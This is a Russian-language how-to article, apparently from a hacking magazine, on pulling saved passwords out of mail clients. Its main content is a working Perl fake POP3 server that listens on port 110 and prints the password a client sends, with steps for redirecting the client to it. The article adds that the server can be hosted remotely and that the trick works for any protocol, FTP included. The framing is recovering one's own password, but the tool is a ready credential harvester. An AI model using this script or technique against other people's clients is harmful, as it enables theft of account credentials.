Довольно тривиальная задачка – имеется
установленный почтовик, в котором вбит предустановленный пароль.
Чтобы его расшифровать, есть, минимум, 3 способа. Во-первых,
заветный пароль можно вытащить из конфигов (как вручную, так и
различными приложениями). Однако в большинстве случаев, пассворд
шифруется, и изъять его не получается. Например, те же Openpass,
Passview или Recover не запускаются при установленном антивирусе
или файрволе. В итоге приходится довольствоваться старым
дедовским способом по искусственному «выманиванию» паролей из
почтовых программ.

1. Откроем твой любимый
блокнот и напишем простенький Fake-POP3-сервер, посредством
которого вытащим любой пароль.

#!/usr/bin/perl

# Emulate the fake pop3 service ;)

use IO::Socket;
$|++; # Юзаем сокет и отрубаем буферизацию


$sock=IO::Socket::INET->new(Listen=>10,LocalPort=>110,Proto=>'tcp',Reuse=>1)
|| "Cant open port: $!\n"; # Создаем сокет на 110 порту
локальной машины

while($client=$sock->accept()) {
while(1) { # Слушаем новых клиентов и входим в бесконечный цикл
при каждом новом соединении
$client->send("+OK Fake POP Service ready\n"); # Выдаем баннер
$stat=$client->recv($data,1024);
$client->send("+OK Password?\n");
$stat=$client->recv($data,1024); # Организуем обмен данными
согласно RFC1939
(undef,$data)=split(' ',$data);
print "Password is \"$data\"\n"; # Отделяем пароль и пишем его в
консоль
close($client); # Обрубаем клиент и выходим из программы
exit;
}
}

2. Изменяем в клиенте хост почтового сервера
на локальный адрес (либо на любой другой, куда будет заливаться
фейковый скрипт).

3. Запускаем фейковый скрипт и инициируем
процесс получения новых сообщений. Как итог – ты получишь пароль
в plain-text, нарисованный в консоли. Задачка выполнена.

Кстати, таким нехитрым образом можно получить пароли от
совершенно любых клиентов (например, на FTP). Главное – знать
команды обмена в нужном протоколе.

Оставить мнение

Check Also

Безопасность смарт-контрактов. Топ-10 уязвимостей децентрализованных приложений на примере спецификации DASP

Количество смарт-контрактов в блокчейне Ethereum только за первую половину 2018 года вырос…